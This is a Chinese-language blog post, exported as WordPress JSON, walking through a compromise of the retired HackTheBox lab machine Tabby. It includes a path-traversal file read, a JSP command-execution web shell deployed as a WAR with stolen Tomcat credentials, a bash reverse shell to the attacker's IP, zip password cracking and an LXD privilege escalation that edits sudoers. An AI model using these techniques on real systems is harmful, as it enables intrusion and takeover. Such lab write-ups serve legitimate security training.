{"id":161,"date":"2024-11-13T10:40:39","date_gmt":"2024-11-13T02:40:39","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=161"},"modified":"2024-11-13T10:40:40","modified_gmt":"2024-11-13T02:40:40","slug":"161","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/161\/","title":{"rendered":"HTB\u9776\u673a Tabby \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.194<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.194 (10.10.10.194) 56(84) bytes of data.\n64 bytes from 10.10.10.194: icmp_seq=1 ttl=63 time=257 ms\n64 bytes from 10.10.10.194: icmp_seq=2 ttl=63 time=257 ms\n64 bytes from 10.10.10.194: icmp_seq=3 ttl=63 time=255 ms\n64 bytes from 10.10.10.194: icmp_seq=4 ttl=63 time=257 ms\n\n--- 10.10.10.194 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3124ms\nrtt min\/avg\/max\/mdev = 255.451\/256.637\/257.358\/0.749 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Aug 17 09:12:12 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.194\nNmap scan report for 10.10.10.194 (10.10.10.194)\nHost is up (0.27s latency).\nNot shown: 65532 closed tcp ports (reset)\nPORT     STATE         SERVICE\n22\/tcp   open|filtered ssh\n80\/tcp   open|filtered http\n8080\/tcp open|filtered http-proxy\n\n# Nmap done at Sat Aug 17 09:13:05 2024 -- 1 IP address (1 host up) scanned in 53.05 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>3<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Aug 17 09:15:08 2024 as: nmap -sS -sV -A -p 22,80,8080 -oN .\/tcp_result.txt 10.10.10.194\nNmap scan report for 10.10.10.194 (10.10.10.194)\nHost is up (0.26s latency).\n\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)\n|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)\n|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)\n80\/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))\n|_http-title: Mega Hosting\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n8080\/tcp open  http    Apache Tomcat\n|_http-open-proxy: Proxy might be redirecting requests\n|_http-title: Apache Tomcat\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT       ADDRESS\n1   255.49 ms 10.10.14.1 (10.10.14.1)\n2   255.69 ms 10.10.10.194 (10.10.10.194)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sat Aug 17 09:15:35 2024 -- 1 IP address (1 host up) scanned in 26.52 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Aug 17 09:16:50 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.194\nWarning: 10.10.10.194 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.194 (10.10.10.194)\nHost is up (0.27s latency).\nAll 65535 scanned ports on 10.10.10.194 (10.10.10.194) are in ignored states.\nNot shown: 65169 open|filtered udp ports (no-response), 366 closed udp ports (port-unreach)\n\n# Nmap done at Sat Aug 17 09:22:51 2024 -- 1 IP address (1 host up) scanned in 361.69 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/tabby\/nmap_reports]\n\u2514\u2500# nc -nv 10.10.10.194 22\n(UNKNOWN) [10.10.10.194] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff088080\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/megahosting.htb:8080\/<\/code>\uff08\u8be5\u57df\u540d\u5728<code>80<\/code>\u7aef\u53e3\u4e3b\u9875\u4e0a\u627e\u5230\uff09<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723938461629-509ca430-878d-4e14-9ad3-81f9d0051631.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7528\u6237\u914d\u7f6e\u6587\u4ef6\u4e3a<code>\/etc\/tomcat9\/tomcat-users.xml<\/code>\u3002<\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff0c\u65e0\u6709\u6548\u7ed3\u679c\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/megahosting.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723939335090-00bf4b98-8472-4143-94d6-3574a27de059.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3b\u9875\u4e0a\u53ea\u6709\u4e00\u4e2a\u5916\u90e8\u94fe\u63a5\u548c\u4e00\u4e2a\u57df\u540d\uff0c\u5176\u5b83\u90fd\u662f\u6307\u5411\u672c\u9875\u7684<code>HTML<\/code>\u951a\u70b9\uff1a<\/p>\n<pre><code class=\"language-html\">    &lt;section id=\"newsstory\" class=\"sewsstory\"&gt;\n            &lt;div class=\"container\"&gt;\n                &lt;div class=\"row\"&gt;\n                    &lt;div class=\"main_newsstory text-center\"&gt;\n                        &lt;p&gt;&lt;i class=\"fa fa-rss\"&gt; We have recently upgraded several services. Our servers are now more secure than ever. &lt;a href=\"http:\/\/megahosting.htb\/news.php?file=statement\"&gt;Read our statement on recovering from the data breach&lt;\/a&gt;&lt;\/i&gt;&lt;\/p&gt;\n                    &lt;\/div&gt;\n                &lt;\/div&gt;\n            &lt;\/div&gt;\n  &lt;\/section&gt;<\/code><\/pre>\n<p>\u70b9\u51fb\u94fe\u63a5\uff0c\u53d1\u73b0\u8df3\u8f6c\u5230\u4e86<code>news.php<\/code>\u9875\u9762\uff0c\u800c\u8be5\u9875\u9762\u6709<code>HTTP GET<\/code>\u53c2\u6570<code>file<\/code>\uff0c\u6000\u7591\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723939512822-3547def2-c3c4-4457-ac99-304018317c1c.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u5c06<code>file<\/code>\u53c2\u6570\u7684\u5185\u5bb9\u6539\u4e3a<code>..\/..\/..\/..\/etc\/passwd<\/code>\uff0c\u6210\u529f\u8bfb\u53d6\uff0c\u800c\u76f4\u63a5\u4f7f\u7528<code>\/etc\/passwd<\/code>\u65e0\u6548\uff0c\u56e0\u6b64\u786e\u8ba4\u8be5\u9875\u9762\u6709\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c\u4f46\u8def\u5f84\u53d8\u91cf\u524d\u62fc\u63a5\u4e86\u67d0\u6761\u7edd\u5bf9\u8def\u5f84\uff0c\u65e0\u6cd5\u4f7f\u7528<code>PHP<\/code>\u4f2a\u534f\u8bae\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723939688199-2afe3c28-ab01-44fb-908d-b297d9da90c5.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8bfb\u53d6<code>\/etc\/tomcat9\/tomcat-users.xml<\/code>\uff0c\u5931\u8d25\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sun Aug 18 08:11:48 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/megahosting.htb\/ -x 400,403,404 -e php,js,html,txt,zip,tar.gz,pcap -t 60\n\n301   319B   http:\/\/megahosting.htb\/assets    -&gt; REDIRECTS TO: http:\/\/megahosting.htb\/assets\/\n200   766B   http:\/\/megahosting.htb\/favicon.ico\n301   318B   http:\/\/megahosting.htb\/files    -&gt; REDIRECTS TO: http:\/\/megahosting.htb\/files\/\n200     0B   http:\/\/megahosting.htb\/news.php\n200   811B   http:\/\/megahosting.htb\/Readme.txt<\/code><\/pre>\n<p>\u8bbf\u95ee<code>\/Readme.txt<\/code>\uff0c\u53d1\u73b0\u4e3a<code>Bootstrap<\/code>\u6846\u67b6\u7684\u4f7f\u7528\u8bb8\u53ef\u58f0\u660e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723940629408-424235cc-e54c-4061-8158-245bcc886492.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u626b\u63cf<code>\/files<\/code>\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sun Aug 18 08:38:59 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/megahosting.htb\/files -x 400,403,404 -e php,js,html,txt,zip,tar.gz,pcap -t 60 -w \/usr\/share\/wordlists\/wfuzz\/general\/megabeast.txt\n\n301   326B   http:\/\/megahosting.htb\/files\/archive    -&gt; REDIRECTS TO: http:\/\/megahosting.htb\/files\/archive\/\n200     6KB  http:\/\/megahosting.htb\/files\/statement<\/code><\/pre>\n<p>\u53d1\u73b0<code>statement<\/code>\u4e3a\u9776\u673a<code>news.php<\/code>\u9875\u9762\u9ed8\u8ba4\u5305\u542b\u7684\u6587\u4ef6\u3002\u76f4\u63a5\u626b\u63cf<code>\/files\/archive<\/code>\u76ee\u5f55\uff0c\u65e0\u7ed3\u679c\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u67e5\u627eTomcat9\u7528\u6237\u914d\u7f6e\u6587\u4ef6<\/h2>\n<p>\u5728\u8fdb\u884c\u4e00\u756a\u679a\u4e3e\u4f46\u4ecd\u65e0\u4efb\u4f55\u7ed3\u679c\u4e4b\u540e\uff0c\u7a0d\u4f5c\u601d\u8003\u7406\u6e05\u4e86\u60c5\u51b5\u3002\u9776\u673a<code>80<\/code>\u7aef\u53e3\u7684<code>news.php<\/code>\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c<code>8080<\/code>\u7aef\u53e3\u90e8\u7f72\u4e86<code>Tomcat<\/code>\uff0c\u4e14\u9875\u9762\u4e0a\u6709<code>tomcat-users.xml<\/code>\u7684\u8def\u5f84\uff0c\u4f46\u8bfb\u53d6\u5374\u5931\u8d25\u4e86\u3002<\/p>\n<p>\u542f\u52a8\u5907\u7528\u7684<code>Ubuntu Linux<\/code>\u6d4b\u8bd5\u4e13\u7528\u673a\uff0c\u5e76\u5b89\u88c5<code>Tomcat 9<\/code>\uff0c\u5c1d\u8bd5\u627e\u51fa\u95ee\u9898\u6240\u5728\uff1a<\/p>\n<pre><code class=\"language-shell\">apt-get update\napt-get install tomcat9<\/code><\/pre>\n<p>\u5b89\u88c5\u6210\u529f\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>find<\/code>\u67e5\u627e\u7528\u6237\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">find \/ -name \"tomcat-users.xml\" 2&gt;\/dev\/null<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723945845000-a82efed6-598a-4400-bded-3bb4db72c02b.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>Tomcat 9<\/code>\u9664\u4e86\u6709\u914d\u7f6e\u6587\u4ef6<code>\/etc\/tomcat9\/tomcat-users.xml<\/code>\u4e4b\u5916\uff0c\u8fd8\u4f1a\u5b58\u5728\u4e00\u4efd\u5907\u4efd\u7684\u914d\u7f6e\u6587\u4ef6<code>\/usr\/share\/tomcat9\/etc\/tomcat-users.xml<\/code>\u3002<\/p>\n<p>\u5378\u8f7d<code>Tomcat<\/code>\u5e76\u5173\u95ed\u6d4b\u8bd5\u673a\uff0c\u5c1d\u8bd5\u8bfb\u53d6<code>\/usr\/share\/tomcat9\/etc\/tomcat-users.xml<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723946009261-cd2d81d7-6f01-4474-a380-ec3e3fa22bb3.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\u627e\u5230\u5982\u4e0b\u7528\u6237\u51ed\u636e\uff1a<\/strong><\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>tomcat<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>$3cureP4s5w0rd123!<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723946116001-b57bda85-f1ff-41a5-a9f5-e43c3d99a480.png\" alt=\"\" \/><\/p>\n<h2>Text CLI\u4e0a\u4f20WAR\u6728\u9a6c\u5305<\/h2>\n<p>\u867d\u7136\u6210\u529f\u767b\u5f55\u4e86<code>Tomcat<\/code>\u540e\u53f0\uff0c\u4f46\u56e0\u4e3a<code>tomcat-users.xml<\/code>\u4e2d\u8bbe\u7f6e\u4e86\u5f53\u524d\u7528\u6237\u53ea\u6709<code>admin-gui<\/code>\u548c<code>manager-script<\/code>\u6743\u9650\uff0c\u6240\u4ee5\u76ee\u524d\u65e0\u6cd5\u901a\u8fc7\u56fe\u5f62\u5316<code>Web<\/code>\u754c\u9762\u6765\u7ba1\u7406\u5e94\u7528\u7a0b\u5e8f\uff0c\u53ea\u80fd\u901a\u8fc7<code>\/manager\/text<\/code>\u7aef\u70b9\u548c<code>GET<\/code>\u8bf7\u6c42\u53c2\u6570\u6765\u7ba1\u7406\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723950648316-981144cf-730a-4951-a5b7-992c550ad959.png\" alt=\"\" \/><\/p>\n<p>\u9996\u5148\u5c06\u5982\u4e0b<code>JSP<\/code>\u6728\u9a6c\u4fdd\u5b58\u5728\u65b0\u5efa\u7684<code>\/shell<\/code>\u76ee\u5f55\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">&lt;%\n    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();\n    int a = -1;\n    byte[] b = new byte[2048];\n    while((a=in.read(b))!=-1){\n        out.println(new String(b));\n    }\n%&gt;<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u6253\u5305\u4e3a<code>WAR<\/code>\u5305\uff1a<\/p>\n<pre><code class=\"language-shell\">cd .\/shell\njar -cvf shell.war *<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723950790111-4670a921-05dd-417c-92c5-ee15fd738cd5.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u4e0a\u4f20\u90e8\u7f72\uff08<code>curl<\/code>\u4f7f\u7528<code>HTTP PUT<\/code>\u65b9\u6cd5\u8bf7\u6c42<code>\/manager\/text\/deploy<\/code>\u7aef\u70b9\uff09\uff1a<\/p>\n<pre><code class=\"language-shell\">curl -u 'tomcat:$3cureP4s5w0rd123!' \"http:\/\/megahosting.htb:8080\/manager\/text\/deploy?path=\/shell\" -T .\/shell.war<\/code><\/pre>\n<p>\u63a5\u7740\u8bbf\u95ee<code>http:\/\/megahosting.htb:8080\/shell<\/code>\uff0c\u5c06\u5982\u4e0b\u811a\u672c\u6587\u4ef6\u4fdd\u5b58\uff0c\u968f\u540e\u4f7f\u7528\u540e\u95e8\u914d\u5408<code>wget<\/code>\u547d\u4ee4\u5c06\u5176\u4e0b\u8f7d\u5230\u9776\u673a\u7684<code>\/tmp\/<\/code>\u76ee\u5f55\u4e0b\uff0c\u8d4b\u4e88\u6267\u884c\u6743\u9650\uff1a<\/p>\n<pre><code class=\"language-bash\">#! \/bin\/bash\n\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.12\/443 0&gt;&amp;1'<\/code><\/pre>\n<p>\u7136\u540e\u76f4\u63a5\u6267\u884c<code>\/tmp\/revshell.sh<\/code>\uff0c\u83b7\u5f97\u53cd\u5f39Shell\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723952059646-b83f5929-9460-482c-bbce-51e8456394aa.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3ash\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\u6267\u884c\u672c\u5730\u4fe1\u606f\u9884\u6536\u96c6\uff0c\u5728<code>\/var\/www\/html\/files<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u53ef\u7591\u538b\u7f29\u5305<code>16162020_backup.zip<\/code>\uff0c\u4e0b\u8f7d\u67e5\u770b\u540e\u53d1\u73b0\u4e3a\u52a0\u5bc6\u538b\u7f29\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723952997631-0a8bf821-ed2a-405a-b1e5-d9670f99fd9b.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u7206\u7834\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-shell\">zip2john .\/16162020_backup.zip &gt; .\/ziphash.txt\njohn .\/ziphash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723953105203-1c1d64c3-e6be-4bb6-a08c-2acecb42c763.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u53e3\u4ee4\uff01\uff01\u5c1d\u8bd5\u5c06\u5176\u4f5c\u4e3a\u7528\u6237\u51ed\u636e\u5207\u6362\u7528\u6237\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>ash<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>admin@it<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1723953190448-a5b26330-3358-4937-8b7e-ce67428f69f6.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<h2>LXD\u5bb9\u5668\u63d0\u6743<\/h2>\n<p>\u767b\u5f55<code>ash<\/code>\u7528\u6237\u4e4b\u540e\uff0c\u53d1\u73b0\u8be5\u7528\u6237\u5728<code>lxd<\/code>\u7ec4\u5185\uff0c\u76f4\u63a5\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1724026411747-560ddf68-51c1-480d-9aeb-ff75ae933a88.png\" alt=\"\" \/><\/p>\n<p>\u9996\u5148\u62c9\u53d6<code>GitHub<\/code>\u9879\u76ee\u6784\u5efa<code>Alpine Linux<\/code>\u6700\u5c0f\u5316\u955c\u50cf\uff1a<\/p>\n<pre><code class=\"language-shell\">git clone https:\/\/github.com\/saghul\/lxd-alpine-builder.git\ncd lxd-alpine-builder\n.\/build-alpine<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1724026649200-f5fdfd7e-3d2a-4ff3-9236-d33661d7313c.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u5c06\u5176\u4f7f\u7528<code>SimpleHTTPServer<\/code>\u4e0a\u4f20\u81f3\u9776\u673a\uff1a<\/p>\n<pre><code class=\"language-shell\">wget http:\/\/1wget http:\/\/10.10.14.12\/alpine-v3.20-x86_64-20240819_0816.tar.gz<\/code><\/pre>\n<p>\u63a5\u7740\u76f4\u63a5\u6784\u5efa\u5e76\u542f\u52a8<code>Alpine Linux<\/code>\u5bb9\u5668\uff1a<\/p>\n<pre><code class=\"language-shell\">lxd init\nexport PATH=$PATH:\/snap\/bin\nlxc image import .\/alpine-v3.20-x86_64-20240819_0816.tar.gz --alias alpine\nlxc init alpine ignite -c security.privileged=true\nlxc config device add ignite mydevice disk source=\/ path=\/mnt\/main_host recursive=true\nlxc start ignite\nlxc exec ignite \/bin\/sh<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1724027523078-c25cf0de-9b6a-42d8-9977-8d54a6d3f947.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u76f4\u63a5\u8fdb\u5165<code>\/mnt\/main_host\/etc<\/code>\u76ee\u5f55\uff0c\u53ef\u4ee5\u53d1\u73b0\u6709<code>sudoers<\/code>\u6587\u4ef6\uff0c\u76f4\u63a5\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u5728\u6587\u4ef6\u5c3e\u90e8\u6dfb\u52a0<code>ash<\/code>\u7528\u6237\u514d\u5bc6\u4ee5<code>root<\/code>\u8eab\u4efd\u8fd0\u884c\u6240\u6709\u547d\u4ee4\u7684\u6743\u9650\uff1a<\/p>\n<pre><code class=\"language-shell\">echo \"%ash  ALL=(ALL:ALL)  NOPASSWD:ALL\" &gt;&gt; .\/sudoers<\/code><\/pre>\n<p>\u968f\u540e\u9000\u51fa\u5bb9\u5668\uff0c\u67e5\u770b<code>ash<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1724028698351-2b110d94-c17d-4137-b30d-472381ce4081.png\" alt=\"\" \/><\/p>\n<p>\u6dfb\u52a0<code>Sudo<\/code>\u6743\u9650\u6210\u529f\uff01\uff01\u76f4\u63a5\u5207\u6362\u7528\u6237\u5230<code>root<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo su -<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1724028750231-687edb89-c775-4429-88fd-67f957511154.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">b82f7647acc9a06fa3451d04aebbd1fd<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.194 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.194 (10.10.10.19 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-161","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/161","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=161"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/161\/revisions"}],"predecessor-version":[{"id":162,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/161\/revisions\/162"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=161"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}